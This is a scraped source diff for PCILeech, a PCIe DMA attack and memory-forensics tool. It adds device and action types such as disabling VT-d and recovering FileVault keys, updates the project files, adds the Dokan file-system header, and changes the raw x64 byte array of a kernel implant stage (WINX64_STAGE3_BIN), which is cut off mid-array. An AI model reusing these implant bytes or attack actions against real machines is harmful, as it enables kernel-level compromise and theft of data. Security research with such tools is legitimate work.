UCHAR u3;
|
||||
UCHAR u4;
|
||||
DWORD dwRegValue;
|
||||
} PIPE_SEND_CSR_WRITE;
|
||||
|
||||
typedef struct tdSignaturePTE {
|
||||
WORD cPages;
|
||||
WORD wSignature;
|
||||
@@ -67,9 +36,9 @@ typedef enum tdActionType {
|
||||
WRITE,
|
||||
PATCH,
|
||||
SEARCH,
|
||||
FLASH,
|
||||
START8051,
|
||||
STOP8051,
|
||||
USB3380_FLASH,
|
||||
USB3380_START8051,
|
||||
USB3380_STOP8051,
|
||||
PAGEDISPLAY,
|
||||
TESTMEMREAD,
|
||||
TESTMEMREADWRITE,
|
||||
@@ -78,13 +47,23 @@ typedef enum tdActionType {
|
||||
EXEC,
|
||||
MOUNT,
|
||||
MAC_FVRECOVER,
|
||||
PT_PHYS2VIRT
|
||||
} ACTION_TYPE, PACTION_TYPE;
|
||||
MAC_FVRECOVER2,
|
||||
MAC_DISABLE_VTD,
|
||||
PT_PHYS2VIRT,
|
||||
TLP
|
||||
} ACTION_TYPE;
|
||||
|
||||
typedef enum tdPCILEECH_DEVICE_TYPE {
|
||||
PCILEECH_DEVICE_NA,
|
||||
PCILEECH_DEVICE_USB3380,
|
||||
PCILEECH_DEVICE_SP605
|
||||
} PCILEECH_DEVICE_TYPE;
|
||||
|
||||
#define CONFIG_MAX_INSIZE 0x400000 // 4MB
|
||||
typedef struct tdConfig {
|
||||
QWORD qwAddrMin;
|
||||
QWORD qwAddrMax;
|
||||
QWORD qwAddrMaxDeviceNative;
|
||||
QWORD qwCR3;
|
||||
QWORD qwKMD;
|
||||
CHAR szFileOut[MAX_PATH];
|
||||
@@ -93,10 +72,12 @@ typedef struct tdConfig {
|
||||
CHAR szInS[MAX_PATH];
|
||||
QWORD qwDataIn[10];
|
||||
ACTION_TYPE tpAction;
|
||||
PCILEECH_DEVICE_TYPE tpDevice;
|
||||
CHAR szSignatureName[MAX_PATH];
|
||||
CHAR szKMDName[MAX_PATH];
|
||||
CHAR szShellcodeName[MAX_PATH];
|
||||
QWORD qwMaxSizeDmaIo;
|
||||
QWORD qwWaitBeforeExit;
|
||||
BOOL fPageTableScan;
|
||||
BOOL fPatchAll;
|
||||
BOOL fForceRW;
|
||||
@@ -104,6 +85,9 @@ typedef struct tdConfig {
|
||||
BOOL fOutFile;
|
||||
BOOL fForceUsb2;
|
||||
BOOL fVerbose;
|
||||
BOOL fVerboseExtra;
|
||||
BOOL fDebug;
|
||||
BOOL fPartialPageReadSupported;
|
||||
} CONFIG, *PCONFIG;
|
||||
|
||||
#define SIGNATURE_CHUNK_TP_OFFSET_FIXED 0
|
||||
@@ -133,8 +117,8 @@ typedef struct tdSignature {
|
||||
SIGNATURE_CHUNK chunk[6];
|
||||
} SIGNATURE, *PSIGNATURE;
|
||||
|
||||
#pragma pack(push, 1) /* DISABLE STRUCT PADDINGS (REENABLE AFTER STRUCT DEFINITIONS) */
|
||||
#define KMDEXEC_MAGIC 0x3cec1337
|
||||
#pragma pack(push, 1) /* DISABLE STRUCT PADDINGS (REENABLE AFTER STRUCT DEFINITIONS) */
|
||||
typedef struct tdKmdExec {
|
||||
DWORD dwMagic;
|
||||
BYTE pbChecksumSHA256[32];
|
||||
@@ -213,8 +197,15 @@ typedef struct tdKMDHANDLE {
|
||||
DWORD dwPageAddr32;
|
||||
QWORD cPhysicalMap;
|
||||
PPHYSICAL_MEMORY_RANGE pPhysicalMap;
|
||||
PKMDDATA status;
|
||||
PKMDDATA pk;
|
||||
BYTE pbPageData[4096];
|
||||
} KMDHANDLE, *PKMDHANDLE;
|
||||
|
||||
#endif /* __PCILEECH_H__ */
|
||||
typedef struct tdPCILEECH_CONTEXT {
|
||||
PCONFIG cfg;
|
||||
HANDLE hDevice;
|
||||
PKMDHANDLE phKMD;
|
||||
PKMDDATA pk;
|
||||
} PCILEECH_CONTEXT, *PPCILEECH_CONTEXT;
|
||||
|
||||
#endif /* __PCILEECH_H__ */
|
||||
|
||||
@@ -81,8 +81,10 @@
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="cpuflash.h" />
|
||||
<ClInclude Include="device.h" />
|
||||
<ClInclude Include="device3380.h" />
|
||||
<ClInclude Include="device605.h" />
|
||||
<ClInclude Include="dokan.h" />
|
||||
<ClInclude Include="executor.h" />
|
||||
<ClInclude Include="extra.h" />
|
||||
<ClInclude Include="help.h" />
|
||||
@@ -92,12 +94,14 @@
|
||||
<ClInclude Include="pcileech.h" />
|
||||
<ClInclude Include="shellcode.h" />
|
||||
<ClInclude Include="statistics.h" />
|
||||
<ClInclude Include="tlp.h" />
|
||||
<ClInclude Include="util.h" />
|
||||
<ClInclude Include="vfs.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="cpuflash.c" />
|
||||
<ClCompile Include="device.c" />
|
||||
<ClCompile Include="device3380.c" />
|
||||
<ClCompile Include="device605.c" />
|
||||
<ClCompile Include="executor.c" />
|
||||
<ClCompile Include="extra.c" />
|
||||
<ClCompile Include="help.c" />
|
||||
@@ -106,6 +110,7 @@
|
||||
<ClCompile Include="mempatch.c" />
|
||||
<ClCompile Include="pcileech.c" />
|
||||
<ClCompile Include="statistics.c" />
|
||||
<ClCompile Include="tlp.c" />
|
||||
<ClCompile Include="util.c" />
|
||||
<ClCompile Include="vfs.c" />
|
||||
</ItemGroup>
|
||||
|
||||
@@ -13,11 +13,11 @@
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files\dokan">
|
||||
<UniqueIdentifier>{e58d3af7-d6c0-4d7c-8869-49e91f315004}</UniqueIdentifier>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="cpuflash.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="device.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
@@ -54,11 +54,20 @@
|
||||
<ClInclude Include="vfs.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="dokan.h">
|
||||
<Filter>Header Files\dokan</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="device605.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="device3380.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="tlp.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="cpuflash.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="device.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
@@ -92,5 +101,14 @@
|
||||
<ClCompile Include="vfs.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="device605.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="device3380.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="tlp.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
372
pcileech/public.h
Normal file
372
pcileech/public.h
Normal file
@@ -0,0 +1,372 @@
|
||||
/*
|
||||
Dokan : user-mode file system library for Windows
|
||||
|
||||
Copyright (C) 2015 - 2017 Adrien J. <liryna.stark@gmail.com> and Maxime C. <maxime@islog.com>
|
||||
Copyright (C) 2007 - 2011 Hiroki Asakawa <info@dokan-dev.net>
|
||||
|
||||
http://dokan-dev.github.io
|
||||
|
||||
This program is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU Lesser General Public License as published by the Free
|
||||
Software Foundation; either version 3 of the License, or (at your option) any
|
||||
later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Lesser General Public License along
|
||||
with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
#ifndef PUBLIC_H_
|
||||
#define PUBLIC_H_
|
||||
|
||||
#ifndef DOKAN_MAJOR_API_VERSION
|
||||
#define DOKAN_MAJOR_API_VERSION L"1"
|
||||
#endif
|
||||
|
||||
#define DOKAN_DRIVER_VERSION 0x0000190
|
||||
|
||||
#define EVENT_CONTEXT_MAX_SIZE (1024 * 32)
|
||||
|
||||
#define IOCTL_TEST \
|
||||
CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
|
||||
|
||||
#define IOCTL_SET_DEBUG_MODE \
|
||||
CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
|
||||
|
||||
#define IOCTL_EVENT_WAIT \
|
||||
CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS)
|
||||
|
||||
#define IOCTL_EVENT_INFO \
|
||||
CTL_CODE(FILE_DEVICE_UNKNOWN, 0x803, METHOD_BUFFERED, FILE_ANY_ACCESS)
|
||||
|
||||
#define IOCTL_EVENT_RELEASE \
|
||||
CTL_CODE(FILE_DEVICE_UNKNOWN, 0x804, METHOD_BUFFERED, FILE_ANY_ACCESS)
|
||||
|
||||
#define IOCTL_EVENT_START \
|
||||
CTL_CODE(FILE_DEVICE_UNKNOWN, 0x805, METHOD_BUFFERED, FILE_ANY_ACCESS)
|
||||
|
||||
#define IOCTL_EVENT_WRITE \
|
||||
CTL_CODE(FILE_DEVICE_UNKNOWN, 0x806, METHOD_OUT_DIRECT, FILE_ANY_ACCESS)
|
||||
|
||||
#define IOCTL_KEEPALIVE \
|
||||
CTL_CODE(FILE_DEVICE_UNKNOWN, 0x809, METHOD_NEITHER, FILE_ANY_ACCESS)
|
||||
|
||||
#define IOCTL_SERVICE_WAIT \
|
||||
CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_BUFFERED, FILE_ANY_ACCESS)
|
||||
|
||||
#define IOCTL_RESET_TIMEOUT \
|
||||
CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80B, METHOD_BUFFERED, FILE_ANY_ACCESS)
|
||||
|
||||
#define IOCTL_GET_ACCESS_TOKEN \
|
||||
CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80C, METHOD_BUFFERED, FILE_ANY_ACCESS)
|
||||
|
||||
#define IOCTL_EVENT_MOUNTPOINT_LIST \
|
||||
CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80D, METHOD_BUFFERED, FILE_ANY_ACCESS)
|
||||
|
||||
#define DRIVER_FUNC_INSTALL 0x01
|
||||
#define DRIVER_FUNC_REMOVE 0x02
|
||||
|
||||
#define DOKAN_MOUNTED 1
|
||||
#define DOKAN_USED 2
|
||||
#define DOKAN_START_FAILED 3
|
||||
|
||||
#define DOKAN_DEVICE_MAX 10
|
||||
|
||||
#define DOKAN_DEFAULT_SECTOR_SIZE 512
|
||||
#define DOKAN_DEFAULT_ALLOCATION_UNIT_SIZE 512
|
||||
#define DOKAN_DEFAULT_DISK_SIZE 1024 * 1024 * 1024
|
||||
|
||||
// used in CCB->Flags and FCB->Flags
|
||||
#define DOKAN_FILE_DIRECTORY 1
|
||||
#define DOKAN_FILE_DELETED 2
|
||||
#define DOKAN_FILE_OPENED 4
|
||||
#define DOKAN_DIR_MATCH_ALL 8
|
||||
#define DOKAN_DELETE_ON_CLOSE 16
|
||||
#define DOKAN_PAGING_IO 32
|
||||
#define DOKAN_SYNCHRONOUS_IO 64
|
||||
#define DOKAN_WRITE_TO_END_OF_FILE 128
|
||||
#define DOKAN_NOCACHE 256
|
||||
|
||||
// used in DOKAN_START->DeviceType
|
||||
#define DOKAN_DISK_FILE_SYSTEM 0
|
||||
#define DOKAN_NETWORK_FILE_SYSTEM 1
|
||||
|
||||
/*
|
||||
* This structure is used for copying UNICODE_STRING from the kernel mode driver
|
||||
* into the user mode driver.
|
||||
* https://msdn.microsoft.com/en-us/library/windows/hardware/ff564879(v=vs.85).aspx
|
||||
*/
|
||||
typedef struct _DOKAN_UNICODE_STRING_INTERMEDIATE {
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
WCHAR Buffer[1];
|
||||
} DOKAN_UNICODE_STRING_INTERMEDIATE, *PDOKAN_UNICODE_STRING_INTERMEDIATE;
|
||||
|
||||
/*
|
||||
* This structure is used for copying ACCESS_STATE from the kernel mode driver
|
||||
* into the user mode driver.
|
||||
* https://msdn.microsoft.com/en-us/library/windows/hardware/ff538840(v=vs.85).aspx
|
||||
*/
|
||||
typedef struct _DOKAN_ACCESS_STATE_INTERMEDIATE {
|
||||
BOOLEAN SecurityEvaluated;
|
||||
BOOLEAN GenerateAudit;
|
||||
BOOLEAN GenerateOnClose;
|
||||
BOOLEAN AuditPrivileges;
|
||||
ULONG Flags;
|
||||
ACCESS_MASK RemainingDesiredAccess;
|
||||
ACCESS_MASK PreviouslyGrantedAccess;
|
||||
ACCESS_MASK OriginalDesiredAccess;
|
||||
|
||||
// Offset from the beginning of this structure to a SECURITY_DESCRIPTOR
|
||||
// if 0 that means there is no security descriptor
|
||||
ULONG SecurityDescriptorOffset;
|
||||
|
||||
// Offset from the beginning of this structure to a
|
||||
// DOKAN_UNICODE_STRING_INTERMEDIATE
|
||||
ULONG UnicodeStringObjectNameOffset;
|
||||
|
||||
// Offset from the beginning of this structure to a
|
||||
// DOKAN_UNICODE_STRING_INTERMEDIATE
|
||||
ULONG UnicodeStringObjectTypeOffset;
|
||||
} DOKAN_ACCESS_STATE_INTERMEDIATE, *PDOKAN_ACCESS_STATE_INTERMEDIATE;
|
||||
|
||||
typedef struct _DOKAN_ACCESS_STATE {
|
||||
BOOLEAN SecurityEvaluated;
|
||||
BOOLEAN GenerateAudit;
|
||||
BOOLEAN GenerateOnClose;
|
||||
BOOLEAN AuditPrivileges;
|
||||
ULONG Flags;
|
||||
ACCESS_MASK RemainingDesiredAccess;
|
||||
ACCESS_MASK PreviouslyGrantedAccess;
|
||||
ACCESS_MASK OriginalDesiredAccess;
|
||||
PSECURITY_DESCRIPTOR SecurityDescriptor;
|
||||
UNICODE_STRING ObjectName;
|
||||
UNICODE_STRING ObjectType;
|
||||
} DOKAN_ACCESS_STATE, *PDOKAN_ACCESS_STATE;
|
||||
|
||||
/*
|
||||
* This structure is used for copying IO_SECURITY_CONTEXT from the kernel mode
|
||||
* driver into the user mode driver.
|
||||
* https://msdn.microsoft.com/en-us/library/windows/hardware/ff550613(v=vs.85).aspx
|
||||
*/
|
||||
typedef struct _DOKAN_IO_SECURITY_CONTEXT_INTERMEDIATE {
|
||||
DOKAN_ACCESS_STATE_INTERMEDIATE AccessState;
|
||||
ACCESS_MASK DesiredAccess;
|
||||
} DOKAN_IO_SECURITY_CONTEXT_INTERMEDIATE,
|
||||
*PDOKAN_IO_SECURITY_CONTEXT_INTERMEDIATE;
|
||||
|
||||
typedef struct _DOKAN_IO_SECURITY_CONTEXT {
|
||||
DOKAN_ACCESS_STATE AccessState;
|
||||
ACCESS_MASK DesiredAccess;
|
||||
} DOKAN_IO_SECURITY_CONTEXT, *PDOKAN_IO_SECURITY_CONTEXT;
|
||||
|
||||
typedef struct _CREATE_CONTEXT {
|
||||
DOKAN_IO_SECURITY_CONTEXT_INTERMEDIATE SecurityContext;
|
||||
ULONG FileAttributes;
|
||||
ULONG CreateOptions;
|
||||
ULONG ShareAccess;
|
||||
ULONG FileNameLength;
|
||||
|
||||
// Offset from the beginning of this structure to the string
|
||||
ULONG FileNameOffset;
|
||||
} CREATE_CONTEXT, *PCREATE_CONTEXT;
|
||||
|
||||
typedef struct _CLEANUP_CONTEXT {
|
||||
ULONG FileNameLength;
|
||||
WCHAR FileName[1];
|
||||
|
||||
} CLEANUP_CONTEXT, *PCLEANUP_CONTEXT;
|
||||
|
||||
typedef struct _CLOSE_CONTEXT {
|
||||
ULONG FileNameLength;
|
||||
WCHAR FileName[1];
|
||||
|
||||
} CLOSE_CONTEXT, *PCLOSE_CONTEXT;
|
||||
|
||||
typedef struct _DIRECTORY_CONTEXT {
|
||||
ULONG FileInformationClass;
|
||||
ULONG FileIndex;
|
||||
ULONG BufferLength;
|
||||
ULONG DirectoryNameLength;
|
||||
ULONG SearchPatternLength;
|
||||
ULONG SearchPatternOffset;
|
||||
WCHAR DirectoryName[1];
|
||||
WCHAR SearchPatternBase[1];
|
||||
|
||||
} DIRECTORY_CONTEXT, *PDIRECTORY_CONTEXT;
|
||||
|
||||
typedef struct _READ_CONTEXT {
|
||||
LARGE_INTEGER ByteOffset;
|
||||
ULONG BufferLength;
|
||||
ULONG FileNameLength;
|
||||
WCHAR FileName[1];
|
||||
} READ_CONTEXT, *PREAD_CONTEXT;
|
||||
|
||||
typedef struct _WRITE_CONTEXT {
|
||||
LARGE_INTEGER ByteOffset;
|
||||
ULONG BufferLength;
|
||||
ULONG BufferOffset;
|
||||
ULONG RequestLength;
|
||||
ULONG FileNameLength;
|
||||
WCHAR FileName[2];
|
||||
// "2" means to keep last null of contents to write
|
||||
} WRITE_CONTEXT, *PWRITE_CONTEXT;
|
||||
|
||||
typedef struct _FILEINFO_CONTEXT {
|
||||
ULONG FileInformationClass;
|
||||
ULONG BufferLength;
|
||||
ULONG FileNameLength;
|
||||
WCHAR FileName[1];
|
||||
} FILEINFO_CONTEXT, *PFILEINFO_CONTEXT;
|
||||
|
||||
typedef struct _SETFILE_CONTEXT {
|
||||
ULONG FileInformationClass;
|
||||
ULONG BufferLength;
|
||||
ULONG BufferOffset;
|
||||
ULONG FileNameLength;
|
||||
WCHAR FileName[1];
|
||||
} SETFILE_CONTEXT, *PSETFILE_CONTEXT;
|
||||
|
||||
typedef struct _VOLUME_CONTEXT {
|
||||
ULONG FsInformationClass;
|
||||
ULONG BufferLength;
|
||||
} VOLUME_CONTEXT, *PVOLUME_CONTEXT;
|
||||
|
||||
typedef struct _LOCK_CONTEXT {
|
||||
LARGE_INTEGER ByteOffset;
|
||||
LARGE_INTEGER Length;
|
||||
ULONG Key;
|
||||
ULONG FileNameLength;
|
||||
WCHAR FileName[1];
|
||||
} LOCK_CONTEXT, *PLOCK_CONTEXT;
|
||||
|
||||
typedef struct _FLUSH_CONTEXT {
|
||||
ULONG FileNameLength;
|
||||
WCHAR FileName[1];
|
||||
} FLUSH_CONTEXT, *PFLUSH_CONTEXT;
|
||||
|
||||
typedef struct _UNMOUNT_CONTEXT {
|
||||
WCHAR DeviceName[64];
|
||||
ULONG Option;
|
||||
} UNMOUNT_CONTEXT, *PUNMOUNT_CONTEXT;
|
||||
|
||||
typedef struct _SECURITY_CONTEXT {
|
||||
SECURITY_INFORMATION SecurityInformation;
|
||||
ULONG BufferLength;
|
||||
ULONG FileNameLength;
|
||||
WCHAR FileName[1];
|
||||
} SECURITY_CONTEXT, *PSECURITY_CONTEXT;
|
||||
|
||||
typedef struct _SET_SECURITY_CONTEXT {
|
||||
SECURITY_INFORMATION SecurityInformation;
|
||||
ULONG BufferLength;
|
||||
ULONG BufferOffset;
|
||||
ULONG FileNameLength;
|
||||
WCHAR FileName[1];
|
||||
} SET_SECURITY_CONTEXT, *PSET_SECURITY_CONTEXT;
|
||||
|
||||
typedef struct _EVENT_CONTEXT {
|
||||
ULONG Length;
|
||||
ULONG MountId;
|
||||
ULONG SerialNumber;
|
||||
ULONG ProcessId;
|
||||
UCHAR MajorFunction;
|
||||
UCHAR MinorFunction;
|
||||
ULONG Flags;
|
||||
ULONG FileFlags;
|
||||
ULONG64 Context;
|
||||
union {
|
||||
DIRECTORY_CONTEXT Directory;
|
||||
READ_CONTEXT Read;
|
||||
WRITE_CONTEXT Write;
|
||||
FILEINFO_CONTEXT File;
|
||||
CREATE_CONTEXT Create;
|
||||
CLOSE_CONTEXT Close;
|
||||
SETFILE_CONTEXT SetFile;
|
||||
CLEANUP_CONTEXT Cleanup;
|
||||
LOCK_CONTEXT Lock;
|
||||
VOLUME_CONTEXT Volume;
|
||||
FLUSH_CONTEXT Flush;
|
||||
UNMOUNT_CONTEXT Unmount;
|
||||
SECURITY_CONTEXT Security;
|
||||
SET_SECURITY_CONTEXT SetSecurity;
|
||||
} Operation;
|
||||
} EVENT_CONTEXT, *PEVENT_CONTEXT;
|
||||
|
||||
#define WRITE_MAX_SIZE \
|
||||
(EVENT_CONTEXT_MAX_SIZE - sizeof(EVENT_CONTEXT) - 256 * sizeof(WCHAR))
|
||||
|
||||
typedef struct _EVENT_INFORMATION {
|
||||
ULONG SerialNumber;
|
||||
NTSTATUS Status;
|
||||
ULONG Flags;
|
||||
union {
|
||||
struct {
|
||||
ULONG Index;
|
||||
} Directory;
|
||||
struct {
|
||||
ULONG Flags;
|
||||
ULONG Information;
|
||||
} Create;
|
||||
struct {
|
||||
LARGE_INTEGER CurrentByteOffset;
|
||||
} Read;
|
||||
struct {
|
||||
LARGE_INTEGER CurrentByteOffset;
|
||||
} Write;
|
||||
struct {
|
||||
UCHAR DeleteOnClose;
|
||||
} Delete;
|
||||
struct {
|
||||
ULONG Timeout;
|
||||
} ResetTimeout;
|
||||
struct {
|
||||
HANDLE Handle;
|
||||
} AccessToken;
|
||||
} Operation;
|
||||
ULONG64 Context;
|
||||
ULONG BufferLength;
|
||||
UCHAR Buffer[8];
|
||||
|
||||
} EVENT_INFORMATION, *PEVENT_INFORMATION;
|
||||
|
||||
#define DOKAN_EVENT_ALTERNATIVE_STREAM_ON 1
|
||||
#define DOKAN_EVENT_WRITE_PROTECT 2
|
||||
#define DOKAN_EVENT_REMOVABLE 4
|
||||
#define DOKAN_EVENT_MOUNT_MANAGER 8
|
||||
#define DOKAN_EVENT_CURRENT_SESSION 16
|
||||
#define DOKAN_EVENT_FILELOCK_USER_MODE 32
|
||||
|
||||
typedef struct _EVENT_DRIVER_INFO {
|
||||
ULONG DriverVersion;
|
||||
ULONG Status;
|
||||
ULONG DeviceNumber;
|
||||
ULONG MountId;
|
||||
WCHAR DeviceName[64];
|
||||
} EVENT_DRIVER_INFO, *PEVENT_DRIVER_INFO;
|
||||
|
||||
typedef struct _EVENT_START {
|
||||
ULONG UserVersion;
|
||||
ULONG DeviceType;
|
||||
ULONG Flags;
|
||||
WCHAR MountPoint[260];
|
||||
WCHAR UNCName[64];
|
||||
ULONG IrpTimeout;
|
||||
} EVENT_START, *PEVENT_START;
|
||||
|
||||
typedef struct _DOKAN_RENAME_INFORMATION {
|
||||
BOOLEAN ReplaceIfExists;
|
||||
ULONG FileNameLength;
|
||||
WCHAR FileName[1];
|
||||
} DOKAN_RENAME_INFORMATION, *PDOKAN_RENAME_INFORMATION;
|
||||
|
||||
typedef struct _DOKAN_LINK_INFORMATION {
|
||||
BOOLEAN ReplaceIfExists;
|
||||
ULONG FileNameLength;
|
||||
WCHAR FileName[1];
|
||||
} DOKAN_LINK_INFORMATION, *PDOKAN_LINK_INFORMATION;
|
||||
|
||||
#endif // PUBLIC_H_
|
||||
@@ -76,76 +76,71 @@ const BYTE WINX64_STAGE3_BIN[] = {
|
||||
0x48, 0x8b, 0x6c, 0x24, 0x10, 0x48, 0x8b, 0x74, 0x24, 0x18, 0x48, 0x8b,
|
||||
0x7c, 0x24, 0x20, 0xc3, 0x0f, 0xb7, 0x14, 0x57, 0x41, 0x3b, 0x50, 0x14,
|
||||
0x73, 0xdf, 0x8b, 0x04, 0x93, 0x48, 0x03, 0xc1, 0xeb, 0xd9, 0xcc, 0xcc,
|
||||
0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b,
|
||||
0x59, 0x08, 0x48, 0xb8, 0x77, 0x33, 0x33, 0x11, 0x77, 0x33, 0x11, 0xff,
|
||||
0x48, 0x89, 0x01, 0x48, 0x8b, 0xf9, 0x48, 0xc7, 0x41, 0x50, 0x01, 0x00,
|
||||
0x00, 0x00, 0xba, 0x1f, 0x9d, 0x48, 0x9d, 0x48, 0x8b, 0xcb, 0xe8, 0x31,
|
||||
0xff, 0xff, 0xff, 0xba, 0x92, 0xf5, 0x45, 0x13, 0x48, 0x89, 0x87, 0x00,
|
||||
0x03, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0xe8, 0x1d, 0xff, 0xff, 0xff, 0xba,
|
||||
0xbc, 0x1e, 0x36, 0x9f, 0x48, 0x89, 0x87, 0x08, 0x03, 0x00, 0x00, 0x48,
|
||||
0x8b, 0xcb, 0xe8, 0x09, 0xff, 0xff, 0xff, 0xba, 0x57, 0x63, 0x32, 0x5a,
|
||||
0x48, 0x89, 0x87, 0x10, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0xe8, 0xf5,
|
||||
0xfe, 0xff, 0xff, 0xba, 0x6f, 0xa5, 0x77, 0x49, 0x48, 0x89, 0x87, 0x18,
|
||||
0x03, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0xe8, 0xe1, 0xfe, 0xff, 0xff, 0xba,
|
||||
0xf9, 0xbe, 0xdd, 0x05, 0x48, 0x89, 0x87, 0x20, 0x03, 0x00, 0x00, 0x48,
|
||||
0x8b, 0xcb, 0xe8, 0xcd, 0xfe, 0xff, 0xff, 0xba, 0xc9, 0xc5, 0x6e, 0x6c,
|
||||
0x48, 0x89, 0x87, 0x28, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0xe8, 0xb9,
|
||||
0xfe, 0xff, 0xff, 0xba, 0x02, 0x6b, 0xa0, 0x94, 0x48, 0x89, 0x87, 0x30,
|
||||
0x03, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0xe8, 0xa5, 0xfe, 0xff, 0xff, 0xba,
|
||||
0x9b, 0x97, 0x64, 0xcf, 0x48, 0x89, 0x87, 0x38, 0x03, 0x00, 0x00, 0x48,
|
||||
0x8b, 0xcb, 0xe8, 0x91, 0xfe, 0xff, 0xff, 0xba, 0x89, 0x4d, 0x3f, 0xbc,
|
||||
0x48, 0x89, 0x87, 0x40, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0xe8, 0x7d,
|
||||
0xfe, 0xff, 0xff, 0xba, 0x92, 0x6d, 0x58, 0x58, 0x48, 0x89, 0x87, 0x48,
|
||||
0x03, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0xe8, 0x69, 0xfe, 0xff, 0xff, 0x48,
|
||||
0x8b, 0xcf, 0x48, 0x89, 0x87, 0x50, 0x03, 0x00, 0x00, 0x48, 0x8b, 0x5c,
|
||||
0x24, 0x30, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xe9, 0x00, 0x00, 0x00, 0x00,
|
||||
0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48,
|
||||
0x89, 0x78, 0x20, 0x41, 0x56, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xd9,
|
||||
0x48, 0xc7, 0x40, 0x08, 0xf0, 0xd8, 0xff, 0xff, 0xb9, 0x00, 0x00, 0x00,
|
||||
0x01, 0x41, 0xbe, 0xff, 0xff, 0xff, 0xff, 0x41, 0x8b, 0xd6, 0x33, 0xf6,
|
||||
0x48, 0x89, 0x4b, 0x18, 0xff, 0x93, 0x10, 0x03, 0x00, 0x00, 0x48, 0x8b,
|
||||
0xf8, 0x48, 0x85, 0xc0, 0x75, 0x2c, 0xb9, 0x00, 0x00, 0x40, 0x00, 0x41,
|
||||
0x8b, 0xd6, 0x48, 0x89, 0x4b, 0x18, 0xff, 0x93, 0x10, 0x03, 0x00, 0x00,
|
||||
0x48, 0x8b, 0xf8, 0x48, 0x85, 0xc0, 0x75, 0x12, 0x48, 0x21, 0x73, 0x18,
|
||||
0xb8, 0x01, 0x00, 0x00, 0xf0, 0x48, 0x89, 0x43, 0x30, 0xe9, 0xab, 0x01,
|
||||
0x00, 0x00, 0x48, 0x8b, 0xcf, 0x48, 0x89, 0x7b, 0x28, 0xff, 0x93, 0x18,
|
||||
0x03, 0x00, 0x00, 0x48, 0x89, 0x43, 0x20, 0x41, 0xbe, 0x01, 0x00, 0x00,
|
||||
0x00, 0x48, 0x8b, 0x83, 0xf8, 0x0f, 0x00, 0x00, 0x4c, 0x89, 0x73, 0x30,
|
||||
0x48, 0x85, 0xc0, 0x75, 0x23, 0x49, 0x03, 0xf6, 0x48, 0xb8, 0x00, 0xe4,
|
||||
0x0b, 0x54, 0x02, 0x00, 0x00, 0x00, 0x48, 0x3b, 0xf0, 0x76, 0xde, 0x4c,
|
||||
0x8d, 0x44, 0x24, 0x30, 0x33, 0xd2, 0x33, 0xc9, 0xff, 0x93, 0x50, 0x03,
|
||||
0x00, 0x00, 0xeb, 0xcd, 0x48, 0xc7, 0x43, 0x30, 0x02, 0x00, 0x00, 0x00,
|
||||
0x48, 0x83, 0xf8, 0x03, 0x0f, 0x84, 0x23, 0x01, 0x00, 0x00, 0x48, 0x83,
|
||||
0xf8, 0x04, 0x75, 0x4e, 0xff, 0x93, 0x20, 0x03, 0x00, 0x00, 0x48, 0x8b,
|
||||
0xf0, 0x48, 0x85, 0xc0, 0x75, 0x06, 0x48, 0x21, 0x43, 0x38, 0xeb, 0x3a,
